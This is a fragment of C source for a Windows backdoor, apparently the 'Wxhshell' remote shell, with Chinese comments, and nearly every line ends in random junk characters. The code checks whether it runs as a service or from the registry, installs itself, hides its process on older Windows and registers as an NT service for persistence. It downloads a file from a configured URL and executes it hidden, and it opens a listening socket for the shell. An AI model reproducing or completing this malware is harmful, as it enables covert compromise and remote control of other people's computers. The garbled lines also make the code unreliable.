{ GGkU$qp2~
typedef struct {K >}eO:K
{ n 8'#'^|
DWORD ExitStatus; v0'`K 5M
DWORD PebBaseAddress; +|TFxaVz
DWORD AffinityMask; h5VZ-v_j
DWORD BasePriority; )~H&YINhn
ULONG UniqueProcessId; %g{<EuK]p
ULONG InheritedFromUniqueProcessId; y-#01Z
} PROCESS_BASIC_INFORMATION; 5 p! rZ
oVja$;>
PROCNTQSIP NtQueryInformationProcess; ?S~j2 J]
hYEUiQ
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; HMPb%'U~
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; KkD&|&!Q7u
[7@9wa1v!
HANDLE hProcess; e)A-.SRiO$
PROCESS_BASIC_INFORMATION pbi; GR>kxYM%q
(bo-JOOdY(
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ylwh_&>2
if(NULL == hInst ) return 0; GLE"[!s]f
k{-#2Qz
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); fH*1.0f]6
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 0m
7_#g4$L
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); :*dfP/GO
uo[W|Q
if (!NtQueryInformationProcess) return 0; PiZU_~A
$:RR1.Tv
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); q~`dxq`}
if(!hProcess) return 0; nzU;Bi^m
>R}G
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; WG*),P?
?Wc+
J4
CloseHandle(hProcess); ^.9DfA0
]>B4
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); S)?N6sz%
if(hProcess==NULL) return 0; $0k7W?tu
U"=Lzo.0
HMODULE hMod; +)LCYDRV7
char procName[255]; C\4d.~C:w3
unsigned long cbNeeded; QBh*x/J
""A6n{4
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 6-z(34&N
~ #7@;C<nt
CloseHandle(hProcess); #Vu;R5GZ}
/>N# PF
if(strstr(procName,"services")) return 1; // 以服务启动 @]!9;?so
l(W?]{C[%
return 0; // 注册表启动 HX)]@qL
} f `D(V-4
"j&'R#$&d
// 主模块 sY4q$Fq
int StartWxhshell(LPSTR lpCmdLine) ex
BLj
*]
{ 'iTY?
SOCKET wsl; YmpaLZJ
BOOL val=TRUE; w3z'ZCcr;"
int port=0; \B^NdG5Y
struct sockaddr_in door; F]t=5
-O<
>bd@2au9!
if(wscfg.ws_autoins) Install(); \KzH5 ?
Z~<=I }@
port=atoi(lpCmdLine); R$+p4@?S
+xvn n
if(port<=0) port=wscfg.ws_port; Eh)VT{vp
?O3d Sxi
WSADATA data; I)yF!E &
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; bkc*it
fERO(o
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; \7%#4@;?
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); )P>/g*
door.sin_family = AF_INET; jRd$Vt
door.sin_addr.s_addr = inet_addr("127.0.0.1"); W+/_0GgQ3
door.sin_port = htons(port); -7]j[{?w
SZyORN
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { % P Ex
closesocket(wsl); Rk[a|T &
return 1; ma+AFCi
} d,?Tq
UfPHV%Wd
if(listen(wsl,2) == INVALID_SOCKET) { !><asaB]1
closesocket(wsl); vzFpXdt
return 1; ]ly" K!1,
} pu+Q3NfR
Wxhshell(wsl); f*B-aj#
WSACleanup(); yW(|auq
,oh;(|=
return 0; Eh ";irE
]gg(Z!|iQ
} PCHspe9!y
6o7t eX
// 以NT服务方式启动 -YAtM-VL
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) rv(?%h`
{ g27'il
DWORD status = 0; *<!q@r<d
DWORD specificError = 0xfffffff;
q:TNf\/o
IlB8~{p_
serviceStatus.dwServiceType = SERVICE_WIN32; Y}v3J(l
serviceStatus.dwCurrentState = SERVICE_START_PENDING; y:}qoT_.
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; jT=|!,Pn
serviceStatus.dwWin32ExitCode = 0; [)1vKaC
serviceStatus.dwServiceSpecificExitCode = 0; 8"9&x}
tl-
serviceStatus.dwCheckPoint = 0; gWGDm~+
serviceStatus.dwWaitHint = 0; w\YS5!P,V
N
UX |
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); Bskp&NV':
if (hServiceStatusHandle==0) return; &.\7='$F
Leb|YX
status = GetLastError(); m]!hP^^
if (status!=NO_ERROR) !43!JfD
{ gK`w|kh`
serviceStatus.dwCurrentState = SERVICE_STOPPED; ur\6~'l4
serviceStatus.dwCheckPoint = 0; rBNVI;JZW
serviceStatus.dwWaitHint = 0; v/q-{1
serviceStatus.dwWin32ExitCode = status; Qk:Lo*!
serviceStatus.dwServiceSpecificExitCode = specificError; 3WJk04r
SetServiceStatus(hServiceStatusHandle, &serviceStatus); `a4&_`E,p
return; )*;Tt @'y
} q[a\a7U z
M`H#Qo5/
serviceStatus.dwCurrentState = SERVICE_RUNNING; q2vD)r
serviceStatus.dwCheckPoint = 0; 3!{imQT
serviceStatus.dwWaitHint = 0; |(3y09
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Yt]`>C[|D
} U`ttT5;
1@}F8&EZ
// 处理NT服务事件,比如:启动、停止 'F/oR/4,
VOID WINAPI NTServiceHandler(DWORD fdwControl) j8`
B
{ {Ya$Q#l
switch(fdwControl) Swhz\/u9
{ Ayw_LCUD
case SERVICE_CONTROL_STOP: K
{'
atc
serviceStatus.dwWin32ExitCode = 0; Fvl\.
serviceStatus.dwCurrentState = SERVICE_STOPPED; Cdz&'en^
serviceStatus.dwCheckPoint = 0; 0!\C@wnH
serviceStatus.dwWaitHint = 0; _-_iw&F
{ 9&eY<'MgP
SetServiceStatus(hServiceStatusHandle, &serviceStatus); |q*yuK/
} BV~J*e
return; yxt"vm;
case SERVICE_CONTROL_PAUSE: [Km{6L&
serviceStatus.dwCurrentState = SERVICE_PAUSED; 2X@9o4_4q
break; ~v;I>ij
case SERVICE_CONTROL_CONTINUE: lvke!~#
serviceStatus.dwCurrentState = SERVICE_RUNNING; jq,M1
break; _nMd
case SERVICE_CONTROL_INTERROGATE: ^5sA*%T4
break; !<p,G`r
}; }
{1IB
SetServiceStatus(hServiceStatusHandle, &serviceStatus); X9m^i2tk
} Fc5.?X-
kK[4uQQ
// 标准应用程序主函数 |U|>YA1[b
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) #DUfEZ
{ ^^N|:80
"JB4Uaa
// 获取操作系统版本 y8k8Hd1<f
OsIsNt=GetOsVer(); GmH DG-
GetModuleFileName(NULL,ExeFile,MAX_PATH); x6UXd~
L
e
+8Lbz^#
// 从命令行安装 |4df)
if(strpbrk(lpCmdLine,"iI")) Install(); ~7PD/dre
EqW~K@
// 下载执行文件 FH,]'
if(wscfg.ws_downexe) { #r'MfTr
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) >C|pY6
WinExec(wscfg.ws_filenam,SW_HIDE); ~1uQyt
} 5#DMizv6
S^rf^%
if(!OsIsNt) { &<F9Z2^
// 如果时win9x,隐藏进程并且设置为注册表启动 PQ&*(G
HideProc(); w2DC5ei'
StartWxhshell(lpCmdLine); P.]h`4
} :$k*y%Z*N&
else AP&//b,^M
if(StartFromService()) *[[Gu^t^!
// 以服务方式启动 ok:uTeJI
StartServiceCtrlDispatcher(DispatchTable); QLd*f[n
else k =! Q
// 普通方式启动 .t "VsY|
StartWxhshell(lpCmdLine); mLhM_=
cC/h7odY
return 0; P 45Irir
}